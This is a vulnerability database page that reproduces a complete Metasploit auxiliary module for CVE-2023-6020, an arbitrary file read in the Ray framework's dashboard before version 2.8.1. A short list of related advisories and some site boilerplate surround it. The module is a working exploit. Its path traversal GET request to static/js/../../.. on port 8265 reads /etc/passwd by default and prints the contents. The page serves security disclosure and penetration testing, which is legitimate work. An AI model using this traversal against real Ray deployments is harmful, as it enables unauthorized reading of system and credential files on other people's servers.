Lucene search
+L

Ray Static Arbitrary File Read

🗓️ 31 Aug 2024 00:00:00Reported by byt3bl33d3r, Takahiro Yokoyama, danmcinerney, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 171 Views

Ray Static Arbitrary File Read vulnerability in Ray version before 2.8.1

Related
Code
ReporterTitlePublishedViews
Family
bdu_fstec
BDU FSTEC
AI application scaling framework Python Ray Authentication Bypass File Read
3 Apr 202400:00
–bdu_fstec
circl
Circl
CVE-2023-6020
25 Nov 202312:14
–circl
cnnvd
CNNVD
Ray Security breach
16 Nov 202300:00
–cnnvd
cve
CVE
CVE-2023-6020
16 Nov 202321:07
–cve
cve
CVE
CVE-2023-6021
16 Nov 202316:11
–cve
cvelist
Cvelist
CVE-2023-6020 Ray Static File Local File Include
16 Nov 202321:07
–cvelist
cvelist
Cvelist
CVE-2023-6021 Ray Log File Local File Include
16 Nov 202316:11
–cvelist
github
Github Security Blog
Ray Path Traversal vulnerability
16 Nov 202318:30
–github
github
Github Security Blog
Ray Missing Authorization vulnerability
16 Nov 202321:30
–github
kittysploit
KittySploit
Ray Static File - Local File Inclusion Detection
28 Jul 202611:27
–kittysploit
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
include Msf::Auxiliary::Report  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Ray static arbitrary file read',  
'Description' => %q{  
Ray before 2.8.1 is vulnerable to a local file inclusion.  
},  
'Author' => [  
'byt3bl33d3r <[email protected]>', # Python Metasploit module  
'danmcinerney <[email protected]>', # Python Metasploit module  
'Takahiro Yokoyama' # Metasploit module  
],  
'License' => MSF_LICENSE,  
'References' => [  
['CVE', '2023-6020'],  
['URL', 'https://huntr.com/bounties/83dd8619-6dc3-4c98-8f1b-e620fedcd1f6/'],  
['URL', 'https://github.com/protectai/ai-exploits/tree/main/ray']  
],  
'DisclosureDate' => '2023-11-15',  
'Notes' => {  
'Stability' => [ CRASH_SAFE, ],  
'SideEffects' => [ IOC_IN_LOGS, ],  
'Reliability' => []  
}  
)  
)  
  
register_options(  
[  
Opt::RPORT(8265),  
OptString.new('FILEPATH', [ true, 'File to read', '/etc/passwd'])  
]  
)  
end  
  
def check  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'api/version')  
})  
return Exploit::CheckCode::Unknown unless res && res.code == 200  
  
ray_version = res.get_json_document['ray_version']  
  
return Exploit::CheckCode::Unknown unless ray_version  
  
return Exploit::CheckCode::Safe unless Rex::Version.new(ray_version) <= Rex::Version.new('2.6.3')  
  
file_content = lfi('/etc/passwd')  
return Exploit::CheckCode::Vulnerable unless file_content.nil?  
  
Exploit::CheckCode::Appears  
end  
  
def lfi(filepath)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, "static/js/../../../../../../../../../../../../../..#{filepath}")  
})  
return unless res && res.code == 200  
  
res.body  
end  
  
def run  
file_content = lfi(datastore['FILEPATH'])  
fail_with(Failure::Unknown, 'Failed to execute LFI') unless file_content  
print_good("#{datastore['FILEPATH']}\n#{file_content}")  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 3.17.5
CVSS 37.5
EPSS0.15726
171